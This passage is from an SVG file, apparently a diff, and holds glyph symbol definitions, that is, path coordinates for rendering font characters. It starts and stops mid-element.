4.410156 -6.71875 5.390625 -6.5 L 6.015625 -6.359375 C 7.304688 -6.085938 8.222656 -5.695312 8.765625 -5.1875 C 9.316406 -4.675781 9.59375 -3.96875 9.59375 -3.0625 C 9.59375 -2.03125 9.179688 -1.210938 8.359375 -0.609375 C 7.546875 -0.015625 6.425781 0.28125 5 0.28125 C 4.40625 0.28125 3.785156 0.222656 3.140625 0.109375 C 2.492188 -0.00390625 1.816406 -0.175781 1.109375 -0.40625 L 1.109375 -2.296875 C 1.773438 -1.941406 2.4375 -1.675781 3.09375 -1.5 C 3.75 -1.320312 4.398438 -1.234375 5.046875 -1.234375 C 5.898438 -1.234375 6.554688 -1.378906 7.015625 -1.671875 C 7.484375 -1.972656 7.71875 -2.390625 7.71875 -2.921875 C 7.71875 -3.421875 7.550781 -3.800781 7.21875 -4.0625 C 6.882812 -4.332031 6.148438 -4.585938 5.015625 -4.828125 L 4.390625 -4.984375 C 3.253906 -5.222656 2.4375 -5.585938 1.9375 -6.078125 C 1.4375 -6.566406 1.1875 -7.242188 1.1875 -8.109375 C 1.1875 -9.148438 1.554688 -9.957031 2.296875 -10.53125 C 3.035156 -11.101562 4.085938 -11.390625 5.453125 -11.390625 C 6.128906 -11.390625 6.765625 -11.335938 7.359375 -11.234375 C 7.953125 -11.140625 8.5 -10.992188 9 -10.796875 Z M 9 -10.796875 "/> +</symbol> +<symbol overflow="visible" id="glyph0-8"> +<path style="stroke:none;" d="M 1.921875 -11.109375 L 3.734375 -11.109375 L 3.734375 0 L 1.921875 0 Z M 1.921875 -15.4375 L 3.734375 -15.4375 L 3.734375 -13.125 L 1.921875 -13.125 Z M 1.921875 -15.4375 "/> +</symbol> +<symbol overflow="visible" id="glyph0-9"> +<path style="stroke:none;" d="M 1.921875 -15.4375 L 3.734375 -15.4375 L 3.734375 0 L 1.921875 0 Z M 1.921875 -15.4375 "/> +</symbol> +<symbol overflow="visible" id="glyph0-10"> +<path style="stroke:none;" d="M 1.125 -11.109375 L 9.796875 -11.109375 L 9.796875 -9.453125 L 2.921875 -1.453125 L 9.796875 -1.453125 L 9.796875 0 L 0.875 0 L 0.875 -1.671875 L 7.734375 -9.65625 L 1.125 -9.65625 Z M 1.125 -11.109375 "/> +</symbol> +<symbol overflow="visible" id="glyph1-0"> +<path style="stroke:none;" d="M 1.296875 4.59375 L 1.296875 -18.3125 L 14.28125 -18.3125 L 14.28125 4.59375 Z M 2.75 3.140625 L 12.828125 3.140625 L 12.828125 -16.859375 L 2.75 -16.859375 Z M 2.75 3.140625 "/> +</symbol> +<symbol overflow="visible" id="glyph1-1"> +<path style="stroke:none;" d="M 2.546875 -18.9375 L 13.421875 -18.9375 L 13.421875 -16.78125 L 5.109375 -16.78125 L 5.109375 -11.203125 L 12.609375 -11.203125 L 12.609375 -9.046875 L 5.109375 -9.046875 L 5.109375 0 L 2.546875 0 Z M 2.546875 -18.9375 "/> +</symbol> +<symbol overflow="visible" id="glyph1-2"> +<path style="stroke:none;" d="M 7.953125 -12.5625 C 6.703125 -12.5625 5.710938 -12.070312 4.984375 -11.09375 C 4.253906 -10.125 3.890625 -8.789062 3.890625 -7.09375 C 3.890625 -5.394531 4.25 -4.054688 4.96875 -3.078125 C 5.695312 -2.097656 6.691406 -1.609375 7.953125 -1.609375 C 9.191406 -1.609375 10.175781 -2.097656 10.90625 -3.078125 C 11.632812 -4.054688 12 -5.394531 12 -7.09375 C 12 -8.769531 11.632812 -10.097656 10.90625 -11.078125 C 10.175781 -12.066406 9.191406 -12.5625 7.953125 -12.5625 Z M 7.953125 -14.546875 C 9.984375 -14.546875 11.578125 -13.882812 12.734375 -12.5625 C 13.890625 -11.25 14.46875 -9.425781 14.46875 -7.09375 C 14.46875 -4.757812 13.890625 -2.929688 12.734375 -1.609375 C 11.578125 -0.285156 9.984375 0.375 7.953125 0.375 C 5.910156 0.375 4.3125 -0.285156 3.15625 -1.609375 C 2.007812 -2.929688 1.4375 -4.757812 1.4375 -7.09375 C 1.4375 -9.425781 2.007812 -11.25 3.15625 -12.5625 C 4.3125 -13.882812 5.910156 -14.546875 7.953125 -14.546875 Z M 7.953125 -14.546875 "/> +</symbol> +<symbol overflow="visible" id="glyph1-3"> +<path style="stroke:none;" d="M 10.671875 -12.015625 C 10.410156 -12.171875 10.125 -12.285156 9.8125 -12.359375 C 9.507812 -12.429688 9.171875 -12.46875 8.796875 -12.46875 C 7.484375 -12.46875 6.472656 -12.035156 5.765625 -11.171875 C 5.054688 -10.316406 4.703125 -9.085938 4.703125 -7.484375 L 4.703125 0 L 2.359375 0 L 2.359375 -14.203125 L 4.703125 -14.203125 L 4.703125 -12 C 5.191406 -12.851562 5.828125 -13.488281 6.609375 -13.90625 C 7.398438 -14.332031 8.359375 -14.546875 9.484375 -14.546875 C 9.640625 -14.546875 9.816406 -14.535156 10.015625 -14.515625 C 10.210938 -14.492188 10.425781 -14.460938 10.65625 -14.421875 Z M 10.671875 -12.015625 "/> +</symbol> +<symbol overflow="visible" id="glyph1-4"> +<path style="stroke:none;" d="M 13.5 -11.46875 C 14.082031 -12.519531 14.78125 -13.296875 15.59375 -13.796875 C 16.40625 -14.296875 17.363281 -14.546875 18.46875 -14.546875 C 19.945312 -14.546875 21.085938 -14.023438 21.890625 -12.984375 C 22.691406 -11.953125 23.09375 -10.484375 23.09375 -8.578125 L 23.09375 0 L 20.75 0 L 20.75 -8.5 C 20.75 -9.851562 20.503906 -10.859375 20.015625 -11.515625 C 19.535156 -12.179688 18.800781 -12.515625 17.8125 -12.515625 C 16.601562 -12.515625 15.644531 -12.113281 14.9375 -11.3125 C 14.238281 -10.507812 13.890625 -9.414062 13.890625 -8.03125 L 13.890625 0 L 11.546875 0 L 11.546875 -8.5 C 11.546875 -9.863281 11.304688 -10.875 10.828125 -11.53125 C 10.347656 -12.1875 9.601562 -12.515625 8.59375 -12.515625 C 7.40625 -12.515625 6.457031 -12.109375 5.75 -11.296875 C 5.050781 -10.492188 4.703125 -9.40625 4.703125 -8.03125 L 4.703125 0 L 2.359375 0 L 2.359375 -14.203125 L 4.703125 -14.203125 L 4.703125 -12 C 5.234375 -12.863281 5.867188 -13.503906 6.609375 -13.921875 C 7.359375 -14.335938 8.242188 -14.546875 9.265625 -14.546875 C 10.296875 -14.546875 11.171875 -14.28125 11.890625 -13.75 C 12.617188 -13.226562 13.15625 -12.46875 13.5 -11.46875 Z M 13.5 -11.46875 "/> +</symbol> +<symbol overflow="visible" id="glyph1-5"> +<path style="stroke:none;" d="M 8.90625 -7.140625 C 7.019531 -7.140625 5.710938 -6.921875 4.984375 -6.484375 C 4.253906 -6.054688 3.890625 -5.320312 3.890625 -4.28125 C 3.890625 -3.457031 4.160156 -2.800781 4.703125 -2.3125 C 5.253906 -1.820312 6 -1.578125 6.9375 -1.578125 C 8.226562 -1.578125 9.265625 -2.035156 10.046875 -2.953125 C 10.828125 -3.878906 11.21875 -5.101562 11.21875 -6.625 L 11.21875 -7.140625 Z M 13.5625 -8.109375 L 13.5625 0 L 11.21875 0 L 11.21875 -2.15625 C 10.6875 -1.289062 10.023438 -0.648438 9.234375 -0.234375 C 8.441406 0.171875 7.46875 0.375 6.3125 0.375 C 4.863281 0.375 3.707031 -0.03125 2.84375 -0.84375 C 1.988281 -1.664062 1.5625 -2.765625 1.5625 -4.140625 C 1.5625 -5.734375 2.09375 -6.9375 3.15625 -7.75 C 4.226562 -8.5625 5.828125 -8.96875 7.953125 -8.96875 L 11.21875 -8.96875 L 11.21875 -9.1875 C 11.21875 -10.257812 10.863281 -11.085938 10.15625 -11.671875 C 9.457031 -12.265625 8.46875 -12.5625 7.1875 -12.5625 C 6.375 -12.5625 5.582031 -12.460938 4.8125 -12.265625 C 4.050781 -12.078125 3.3125 -11.789062 2.59375 -11.40625 L 2.59375 -13.5625 C 3.445312 -13.882812 4.273438 -14.128906 5.078125 -14.296875 C 5.890625 -14.460938 6.675781 -14.546875 7.4375 -14.546875 C 9.488281 -14.546875 11.019531 -14.007812 12.03125 -12.9375 C 13.050781 -11.875 13.5625 -10.265625 13.5625 -8.109375 Z M 13.5625 -8.109375 "/> +</symbol> +<symbol overflow="visible" id="glyph1-6"> +<path style="stroke:none;" d="M 4.75 -18.234375 L 4.75 -14.203125 L 9.5625 -14.203125 L 9.5625 -12.390625 L 4.75 -12.390625 L 4.75 -4.671875 C 4.75 -3.515625 4.90625 -2.769531 5.21875 -2.4375 C 5.539062 -2.113281 6.191406 -1.953125 7.171875 -1.953125 L 9.5625 -1.953125 L 9.5625 0 L 7.171875 0 C 5.367188 0 4.125 -0.332031 3.4375 -1 C 2.75 -1.675781 2.40625 -2.898438 2.40625 -4.671875 L 2.40625 -12.390625 L 0.703125 -12.390625 L 0.703125 -14.203125 L 2.40625 -14.203125 L 2.40625 -18.234375 Z M 4.75 -18.234375 "/> +</symbol> +<symbol overflow="visible" id="glyph1-7"> +<path style="stroke:none;" d=""/> +</symbol> +<symbol overflow="visible" id="glyph1-8"> +<path style="stroke:none;" d="M 8.046875 -19.703125 C 6.921875 -17.753906 6.082031 -15.828125 5.53125 -13.921875 C 4.976562 -12.023438 4.703125 -10.101562 4.703125 -8.15625 C 4.703125 -6.195312 4.976562 -4.257812 5.53125 -2.34375 C 6.082031 -0.4375 6.921875 1.484375 8.046875 3.421875 L 6.015625 3.421875 C 4.753906 1.429688 3.804688 -0.519531 3.171875 -2.4375 C 2.546875 -4.351562 2.234375 -6.257812 2.234375 -8.15625 C 2.234375 -10.039062 2.546875 -11.9375 3.171875 -13.84375 C 3.796875 -15.757812 4.742188 -17.710938 6.015625 -19.703125 Z M 8.046875 -19.703125 "/> +</symbol> +<symbol overflow="visible" id="glyph1-9"> +<path style="stroke:none;" d="M 2.546875 -18.9375 L 5.109375 -18.9375 L 5.109375 -1.3125 C 5.109375 0.96875 4.675781 2.625 3.8125 3.65625 C 2.945312 4.6875 1.550781 5.203125 -0.375 5.203125 L -1.34375 5.203125 L -1.34375 3.046875 L -0.546875 3.046875 C 0.585938 3.046875 1.382812 2.726562 1.84375 2.09375 C 2.3125 1.457031 2.546875 0.320312 2.546875 -1.3125 Z M 2.546875 -18.9375 "/> +</symbol> +<symbol overflow="visible" id="glyph1-10"> +<path style="stroke:none;" d="M 13.890625 -18.3125 L 13.890625 -15.8125 C 12.921875 -16.28125 12.003906 -16.625 11.140625 -16.84375 C 10.285156 -17.070312 9.453125 -17.1875 8.640625 -17.1875 C 7.253906 -17.1875 6.179688 -16.914062 5.421875 -16.375 C 4.660156 -15.84375 4.28125 -15.078125 4.28125 -14.078125 C 4.28125 -13.234375 4.53125 -12.597656 5.03125 -12.171875 C 5.539062 -11.742188 6.5 -11.398438 7.90625 -11.140625 L 9.453125 -10.828125 C 11.359375 -10.460938 12.765625 -9.820312 13.671875 -8.90625 C 14.578125 -7.988281 15.03125 -6.757812 15.03125 -5.21875 C 15.03125 -3.382812 14.414062 -1.992188 13.1875 -1.046875 C 11.957031 -0.0976562 10.15625 0.375 7.78125 0.375 C 6.882812 0.375 5.929688 0.269531 4.921875 0.0625 C 3.910156 -0.132812 2.863281 -0.4375 1.78125 -0.84375 L 1.78125 -3.46875 C 2.820312 -2.882812 3.84375 -2.445312 4.84375 -2.15625 C 5.84375 -1.863281 6.820312 -1.71875 7.78125 -1.71875 C 9.25 -1.71875 10.378906 -2.003906 11.171875 -2.578125 C 11.960938 -3.148438 12.359375 -3.96875 12.359375 -5.03125 C 12.359375 -5.957031 12.070312 -6.679688 11.5 -7.203125 C 10.9375 -7.734375 10.003906 -8.128906 8.703125 -8.390625 L 7.140625 -8.703125 C 5.222656 -9.078125 3.835938 -9.671875 2.984375 -10.484375 C 2.140625 -11.296875 1.71875 -12.425781 1.71875 -13.875 C 1.71875 -15.539062 2.304688 -16.859375 3.484375 -17.828125 C 4.660156 -18.796875 6.285156 -19.28125 8.359375 -19.28125 C 9.242188 -19.28125 10.144531 -19.195312 11.0625 -19.03125 C 11.988281 -18.875 12.929688 -18.632812 13.890625 -18.3125 Z M 13.890625 -18.3125 "/> +</symbol> +<symbol overflow="visible" id="glyph1-11"> +<path style="stroke:none;" d="M 10.234375 -17.1875 C 8.367188 -17.1875 6.890625 -16.492188 5.796875 -15.109375 C 4.703125 -13.722656 4.15625 -11.835938 4.15625 -9.453125 C 4.15625 -7.066406 4.703125 -5.179688 5.796875 -3.796875 C 6.890625 -2.410156 8.367188 -1.71875 10.234375 -1.71875 C 12.085938 -1.71875 13.554688 -2.410156 14.640625 -3.796875 C 15.734375 -5.179688 16.28125 -7.066406 16.28125 -9.453125 C 16.28125 -11.835938 15.734375 -13.722656 14.640625 -15.109375 C 13.554688 -16.492188 12.085938 -17.1875 10.234375 -17.1875 Z M 10.234375 -19.28125 C 12.890625 -19.28125 15.007812 -18.390625 16.59375 -16.609375 C 18.1875 -14.828125 18.984375 -12.441406 18.984375 -9.453125 C 18.984375 -6.460938 18.1875 -4.078125 16.59375 -2.296875 C 15.007812 -0.515625 12.890625 0.375 10.234375 0.375 C 7.566406 0.375 5.4375 -0.507812 3.84375 -2.28125 C 2.25 -4.0625 1.453125 -6.453125 1.453125 -9.453125 C 1.453125 -12.441406 2.25 -14.828125 3.84375 -16.609375 C 5.4375 -18.390625 7.566406 -19.28125 10.234375 -19.28125 Z M 10.234375 -19.28125 "/> +</symbol> +<symbol overflow="visible" id="glyph1-12"> +<path style="stroke:none;" d="M 2.546875 -18.9375 L 6 -18.9375 L 14.390625 -3.09375 L 14.390625 -18.9375 L 16.875 -18.9375 L 16.875 0 L 13.421875 0 L 5.03125 -15.84375 L 5.03125 0 L 2.546875 0 Z M 2.546875 -18.9375 "/> +</symbol> +<symbol overflow="visible" id="glyph1-13"> +<path style="stroke:none;" d="M 3.046875 -3.21875 L 5.71875 -3.21875 L 5.71875 -1.046875 L 3.640625 3.015625 L 2 3.015625 L 3.046875 -1.046875 Z M 3.046875 -3.21875 "/> +</symbol> +<symbol overflow="visible" id="glyph1-14"> +<path style="stroke:none;" d="M 1.640625 -18.9375 L 4.390625 -18.9375 L 9.09375 -11.890625 L 13.828125 -18.9375 L 16.578125 -18.9375 L 10.484375 -9.84375 L 16.984375 0 L 14.234375 0 L 8.90625 -8.046875 L 3.53125 0 L 0.78125 0 L 7.53125 -10.109375 Z M 1.640625 -18.9375 "/> +</symbol> +<symbol overflow="visible" id="glyph1-15"> +<path style="stroke:none;" d="M 2.546875 -18.9375 L 6.359375 -18.9375 L 11.203125 -6.046875 L 16.046875 -18.9375 L 19.875 -18.9375 L 19.875 0 L 17.375 0 L 17.375 -16.625 L 12.484375 -3.640625 L 9.921875 -3.640625 L 5.03125 -16.625 L 5.03125 0 L 2.546875 0 Z M 2.546875 -18.9375 "/> +</symbol> +<symbol overflow="visible" id="glyph1-16"> +<path style="stroke:none;" d="M 2.546875 -18.9375 L 5.109375 -18.9375 L 5.109375 -2.15625 L 14.328125 -2.15625 L 14.328125 0 L 2.546875 0 Z M 2.546875 -18.9375 "/> +</symbol> +<symbol overflow="visible" id="glyph1-17"> +<path style="stroke:none;" d="M 16.71875 -17.46875 L 16.71875 -14.765625 C 15.863281 -15.578125 14.945312 -16.179688 13.96875 -16.578125 C 12.988281 -16.972656 11.953125 -17.171875 10.859375 -17.171875 C 8.691406 -17.171875 7.03125 -16.507812 5.875 -15.1875 C 4.726562 -13.863281 4.15625 -11.953125 4.15625 -9.453125 C 4.15625 -6.953125 4.726562 -5.039062 5.875 -3.71875 C 7.03125 -2.394531 8.691406 -1.734375 10.859375 -1.734375 C 11.953125 -1.734375 12.988281 -1.929688 13.96875 -2.328125 C 14.945312 -2.722656 15.863281 -3.328125 16.71875 -4.140625 L 16.71875 -1.453125 C 15.820312 -0.847656 14.875 -0.390625 13.875 -0.078125 C 12.875 0.222656 11.816406 0.375 10.703125 0.375 C 7.835938 0.375 5.578125 -0.5 3.921875 -2.25 C 2.273438 -4.007812 1.453125 -6.410156 1.453125 -9.453125 C 1.453125 -12.492188 2.273438 -14.890625 3.921875 -16.640625 C 5.578125 -18.398438 7.835938 -19.28125 10.703125 -19.28125 C 11.835938 -19.28125 12.90625 -19.128906 13.90625 -18.828125 C 14.90625 -18.523438 15.84375 -18.070312 16.71875 -17.46875 Z M 16.71875 -17.46875 "/> +</symbol> +<symbol overflow="visible" id="glyph1-18"> +<path style="stroke:none;" d="M 7.4375 0 L 0.203125 -18.9375 L 2.875 -18.9375 L 8.875 -3 L 14.890625 -18.9375 L 17.546875 -18.9375 L 10.328125 0 Z M 7.4375 0 "/> +</symbol> +<symbol overflow="visible" id="glyph1-19"> +<path style="stroke:none;" d="M -0.046875 -18.9375 L 2.703125 -18.9375 L 7.953125 -11.140625 L 13.15625 -18.9375 L 15.90625 -18.9375 L 9.21875 -9.015625 L 9.21875 0 L 6.640625 0 L 6.640625 -9.015625 Z M -0.046875 -18.9375 "/> +</symbol> +<symbol overflow="visible" id="glyph1-20"> +<path style="stroke:none;" d="M 8.875 -16.40625 L 5.40625 -6.984375 L 12.359375 -6.984375 Z M 7.4375 -18.9375 L 10.328125 -18.9375 L 17.546875 0 L 14.890625 0 L 13.15625 -4.859375 L 4.625 -4.859375 L 2.90625 0 L 0.203125 0 Z M 7.4375 -18.9375 "/> +</symbol> +<symbol overflow="visible" id="glyph1-21"> +<path style="stroke:none;" d="M 2.078125 -19.703125 L 4.109375 -19.703125 C 5.378906 -17.710938 6.328125 -15.757812 6.953125 -13.84375 C 7.585938 -11.9375 7.90625 -10.039062 7.90625 -8.15625 C 7.90625 -6.257812 7.585938 -4.351562 6.953125 -2.4375 C 6.328125 -0.519531 5.378906 1.429688 4.109375 3.421875 L 2.078125 3.421875 C 3.203125 1.484375 4.039062 -0.4375 4.59375 -2.34375 C 5.144531 -4.257812 5.421875 -6.195312 5.421875 -8.15625 C 5.421875 -10.101562 5.144531 -12.023438 4.59375 -13.921875 C 4.039062 -15.828125 3.203125 -17.753906 2.078125 -19.703125 Z M 2.078125 -19.703125 "/> +</symbol> +<symbol overflow="visible" id="glyph1-22"> +<path style="stroke:none;" d="M 12.640625 -7.09375 C 12.640625 -8.800781 12.285156 -10.144531 11.578125 -11.125 C 10.878906 -12.101562 9.910156 -12.59375 8.671875 -12.59375 C 7.441406 -12.59375 6.472656 -12.101562 5.765625 -11.125 C 5.054688 -10.144531 4.703125 -8.800781 4.703125 -7.09375 C 4.703125 -5.375 5.054688 -4.023438 5.765625 -3.046875 C 6.472656 -2.066406 7.441406 -1.578125 8.671875 -1.578125 C 9.910156 -1.578125 10.878906 -2.066406 11.578125 -3.046875 C 12.285156 -4.023438 12.640625 -5.375 12.640625 -7.09375 Z M 4.703125 -12.046875 C 5.191406 -12.890625 5.8125 -13.515625 6.5625 -13.921875 C 7.3125 -14.335938 8.207031 -14.546875 9.25 -14.546875 C 10.96875 -14.546875 12.363281 -13.859375 13.4375 -12.484375 C 14.519531 -11.117188 15.0625 -9.320312 15.0625 -7.09375 C 15.0625 -4.851562 14.519531 -3.046875 13.4375 -1.671875 C 12.363281 -0.304688 10.96875 0.375 9.25 0.375 C 8.207031 0.375 7.3125 0.171875 6.5625 -0.234375 C 5.8125 -0.648438 5.191406 -1.28125 4.703125 -2.125 L 4.703125 0 L 2.359375 0 L 2.359375 -19.734375 L 4.703125 -19.734375 Z M 4.703125 -12.046875 "/> +</symbol> +<symbol overflow="visible" id="glyph1-23"> +<path style="stroke:none;" d="M 2.453125 -14.203125 L 4.78125 -14.203125 L 4.78125 0.25 C 4.78125 2.0625 4.4375 3.375 3.75 4.1875 C 3.0625 5 1.953125 5.40625 0.421875 5.40625 L -0.46875 5.40625 L -0.46875 3.421875 L 0.15625 3.421875 C 1.039062 3.421875 1.644531 3.210938 1.96875 2.796875 C 2.289062 2.390625 2.453125 1.539062 2.453125 0.25 Z M 2.453125 -19.734375 L 4.78125 -19.734375 L 4.78125 -16.78125 L 2.453125 -16.78125 Z M 2.453125 -19.734375 "/> +</symbol> +<symbol overflow="visible" id="glyph1-24"> +<path style="stroke:none;" d="M 14.59375 -7.6875 L 14.59375 -6.546875 L 3.875 -6.546875 C 3.96875 -4.941406 4.445312 -3.71875 5.3125 -2.875 C 6.1875 -2.03125 7.394531 -1.609375 8.9375 -1.609375 C 9.832031 -1.609375 10.703125 -1.71875 11.546875 -1.9375 C 12.390625 -2.15625 13.222656 -2.484375 14.046875 -2.921875 L 14.046875 -0.71875 C 13.210938 -0.363281 12.351562 -0.09375 11.46875 0.09375 C 10.59375 0.28125 9.703125 0.375 8.796875 0.375 C 6.535156 0.375 4.742188 -0.285156 3.421875 -1.609375 C 2.097656 -2.929688 1.4375 -4.71875 1.4375 -6.96875 C 1.4375 -9.289062 2.0625 -11.132812 3.3125 -12.5 C 4.570312 -13.863281 6.265625 -14.546875 8.390625 -14.546875 C 10.304688 -14.546875 11.816406 -13.929688 12.921875 -12.703125 C 14.035156 -11.472656 14.59375 -9.800781 14.59375 -7.6875 Z M 12.265625 -8.375 C 12.242188 -9.644531 11.882812 -10.660156 11.1875 -11.421875 C 10.488281 -12.179688 9.566406 -12.5625 8.421875 -12.5625 C 7.117188 -12.5625 6.078125 -12.191406 5.296875 -11.453125 C 4.515625 -10.722656 4.0625 -9.691406 3.9375 -8.359375 Z M 12.265625 -8.375 "/> +</symbol> +<symbol overflow="visible" id="glyph1-25"> +<path style="stroke:none;" d="M 12.671875 -13.65625 L 12.671875 -11.46875 C 12.003906 -11.832031 11.335938 -12.101562 10.671875 -12.28125 C 10.015625 -12.46875 9.347656 -12.5625 8.671875 -12.5625 C 7.160156 -12.5625 5.984375 -12.082031 5.140625 -11.125 C 4.304688 -10.164062 3.890625 -8.820312 3.890625 -7.09375 C 3.890625 -5.351562 4.304688 -4.003906 5.140625 -3.046875 C 5.984375 -2.085938 7.160156 -1.609375 8.671875 -1.609375 C 9.347656 -1.609375 10.015625 -1.695312 10.671875 -1.875 C 11.335938 -2.0625 12.003906 -2.335938 12.671875 -2.703125 L 12.671875 -0.546875 C 12.015625 -0.242188 11.335938 -0.015625 10.640625 0.140625 C 9.941406 0.296875 9.203125 0.375 8.421875 0.375 C 6.285156 0.375 4.585938 -0.296875 3.328125 -1.640625 C 2.066406 -2.992188 1.4375 -4.8125 1.4375 -7.09375 C 1.4375 -9.40625 2.070312 -11.222656 3.34375 -12.546875 C 4.613281 -13.878906 6.359375 -14.546875 8.578125 -14.546875 C 9.296875 -14.546875 9.992188 -14.46875 10.671875 -14.3125 C 11.359375 -14.164062 12.023438 -13.945312 12.671875 -13.65625 Z M 12.671875 -13.65625 "/> +</symbol> +<symbol overflow="visible" id="glyph2-0"> +<path style="stroke:none;" d="M 0.90625 3.1875 L 0.90625 -12.734375 L 9.9375 -12.734375 L 9.9375 3.1875 Z M 1.90625 2.1875 L 8.921875 2.1875 L 8.921875 -11.71875 L 1.90625 -11.71875 Z M 1.90625 2.1875 "/> +</symbol> +<symbol overflow="visible" id="glyph2-1"> +<path style="stroke:none;" d="M 10.15625 -5.34375 L 10.15625 -4.546875 L 2.6875 -4.546875 C 2.757812 -3.429688 3.097656 -2.582031 3.703125 -2 C 4.304688 -1.414062 5.144531 -1.125 6.21875 -1.125 C 6.84375 -1.125 7.445312 -1.195312 8.03125 -1.34375 C 8.613281 -1.5 9.191406 -1.726562 9.765625 -2.03125 L 9.765625 -0.5 C 9.191406 -0.25 8.597656 -0.0625 7.984375 0.0625 C 7.367188 0.1875 6.75 0.25 6.125 0.25 C 4.539062 0.25 3.289062 -0.207031 2.375 -1.125 C 1.457031 -2.039062 1 -3.28125 1 -4.84375 C 1 -6.457031 1.429688 -7.738281 2.296875 -8.6875 C 3.171875 -9.632812 4.351562 -10.109375 5.84375 -10.109375 C 7.164062 -10.109375 8.210938 -9.679688 8.984375 -8.828125 C 9.765625 -7.972656 10.15625 -6.8125 10.15625 -5.34375 Z M 8.53125 -5.828125 C 8.519531 -6.710938 8.269531 -7.414062 7.78125 -7.9375 C 7.300781 -8.46875 6.660156 -8.734375 5.859375 -8.734375 C 4.953125 -8.734375 4.222656 -8.476562 3.671875 -7.96875 C 3.128906 -7.457031 2.820312 -6.738281 2.75 -5.8125 Z M 8.53125 -5.828125 "/> +</symbol> +<symbol overflow="visible" id="glyph2-2"> +<path style="stroke:none;" d="M 9.90625 -5.96875 L 9.90625 0 L 8.296875 0 L 8.296875 -5.90625 C 8.296875 -6.84375 8.113281 -7.539062 7.75 -8 C 7.382812 -8.46875 6.835938 -8.703125 6.109375 -8.703125 C 5.222656 -8.703125 4.523438 -8.421875 4.015625 -7.859375 C 3.515625 -7.304688 3.265625 -6.546875 3.265625 -5.578125 L 3.265625 0 L 1.640625 0 L 1.640625 -9.875 L 3.265625 -9.875 L 3.265625 -8.34375 C 3.660156 -8.9375 4.117188 -9.378906 4.640625 -9.671875 C 5.171875 -9.960938 5.78125 -10.109375 6.46875 -10.109375 C 7.601562 -10.109375 8.457031 -9.757812 9.03125 -9.0625 C 9.613281 -8.363281 9.90625 -7.332031 9.90625 -5.96875 Z M 9.90625 -5.96875 "/> +</symbol> +<symbol overflow="visible" id="glyph2-3"> +<path style="stroke:none;" d="M 8.8125 -9.5 L 8.8125 -7.984375 C 8.351562 -8.234375 7.890625 -8.421875 7.421875 -8.546875 C 6.960938 -8.671875 6.5 -8.734375 6.03125 -8.734375 C 4.976562 -8.734375 4.160156 -8.398438 3.578125 -7.734375 C 2.992188 -7.066406 2.703125 -6.132812 2.703125 -4.9375 C 2.703125 -3.726562 2.992188 -2.789062 3.578125 -2.125 C 4.160156 -1.457031 4.976562 -1.125 6.03125 -1.125 C 6.5 -1.125 6.960938 -1.1875 7.421875 -1.3125 C 7.890625 -1.4375 8.351562 -1.625 8.8125 -1.875 L 8.8125 -0.375 C 8.351562 -0.164062 7.878906 -0.0078125 7.390625 0.09375 C 6.910156 0.195312 6.398438 0.25 5.859375 0.25 C 4.367188 0.25 3.1875 -0.210938 2.3125 -1.140625 C 1.4375 -2.078125 1 -3.34375 1 -4.9375 C 1 -6.539062 1.441406 -7.800781 2.328125 -8.71875 C 3.210938 -9.644531 4.425781 -10.109375 5.96875 -10.109375 C 6.46875 -10.109375 6.953125 -10.054688 7.421875 -9.953125 C 7.898438 -9.859375 8.363281 -9.707031 8.8125 -9.5 Z M 8.8125 -9.5 "/> +</symbol> +<symbol overflow="visible" id="glyph2-4"> +<path style="stroke:none;" d="M 5.53125 -8.734375 C 4.65625 -8.734375 3.960938 -8.394531 3.453125 -7.71875 C 2.953125 -7.039062 2.703125 -6.113281 2.703125 -4.9375 C 2.703125 -3.75 2.953125 -2.816406 3.453125 -2.140625 C 3.960938 -1.460938 4.65625 -1.125 5.53125 -1.125 C 6.394531 -1.125 7.078125 -1.460938 7.578125 -2.140625 C 8.085938 -2.828125 8.34375 -3.757812 8.34375 -4.9375 C 8.34375 -6.101562 8.085938 -7.023438 7.578125 -7.703125 C 7.078125 -8.390625 6.394531 -8.734375 5.53125 -8.734375 Z M 5.53125 -10.109375 C 6.9375 -10.109375 8.039062 -9.648438 8.84375 -8.734375 C 9.65625 -7.816406 10.0625 -6.550781 10.0625 -4.9375 C 10.0625 -3.3125 9.65625 -2.039062 8.84375 -1.125 C 8.039062 -0.207031 6.9375 0.25 5.53125 0.25 C 4.113281 0.25 3.003906 -0.207031 2.203125 -1.125 C 1.398438 -2.039062 1 -3.3125 1 -4.9375 C 1 -6.550781 1.398438 -7.816406 2.203125 -8.734375 C 3.003906 -9.648438 4.113281 -10.109375 5.53125 -10.109375 Z M 5.53125 -10.109375 "/> +</symbol> +<symbol overflow="visible" id="glyph2-5"> +<path style="stroke:none;" d="M 8.203125 -8.375 L 8.203125 -13.71875 L 9.828125 -13.71875 L 9.828125 0 L 8.203125 0 L 8.203125 -1.484375 C 7.859375 -0.890625 7.425781 -0.453125 6.90625 -0.171875 C 6.382812 0.109375 5.757812 0.25 5.03125 0.25 C 3.84375 0.25 2.875 -0.222656 2.125 -1.171875 C 1.375 -2.128906 1 -3.382812 1 -4.9375 C 1 -6.488281 1.375 -7.738281 2.125 -8.6875 C 2.875 -9.632812 3.84375 -10.109375 5.03125 -10.109375 C 5.757812 -10.109375 6.382812 -9.96875 6.90625 -9.6875 C 7.425781 -9.40625 7.859375 -8.96875 8.203125 -8.375 Z M 2.671875 -4.9375 C 2.671875 -3.738281 2.914062 -2.800781 3.40625 -2.125 C 3.894531 -1.445312 4.570312 -1.109375 5.4375 -1.109375 C 6.289062 -1.109375 6.960938 -1.445312 7.453125 -2.125 C 7.953125 -2.800781 8.203125 -3.738281 8.203125 -4.9375 C 8.203125 -6.125 7.953125 -7.054688 7.453125 -7.734375 C 6.960938 -8.421875 6.289062 -8.765625 5.4375 -8.765625 C 4.570312 -8.765625 3.894531 -8.421875 3.40625 -7.734375 C 2.914062 -7.054688 2.671875 -6.125 2.671875 -4.9375 Z M 2.671875 -4.9375 "/> +</symbol> +<symbol overflow="visible" id="glyph2-6"> +<path style="stroke:none;" d="M 7.421875 -8.359375 C 7.242188 -8.460938 7.046875 -8.539062 6.828125 -8.59375 C 6.617188 -8.644531 6.382812 -8.671875 6.125 -8.671875 C 5.207031 -8.671875 4.5 -8.367188 4 -7.765625 C 3.507812 -7.171875 3.265625 -6.316406 3.265625 -5.203125 L 3.265625 0 L 1.640625 0 L 1.640625 -9.875 L 3.265625 -9.875 L 3.265625 -8.34375 C 3.609375 -8.945312 4.050781 -9.390625 4.59375 -9.671875 C 5.144531 -9.960938 5.8125 -10.109375 6.59375 -10.109375 C 6.707031 -10.109375 6.832031 -10.101562 6.96875 -10.09375 C 7.101562 -10.082031 7.253906 -10.0625 7.421875 -10.03125 Z M 7.421875 -8.359375 "/> +</symbol> +<symbol overflow="visible" id="glyph2-7"> +<path 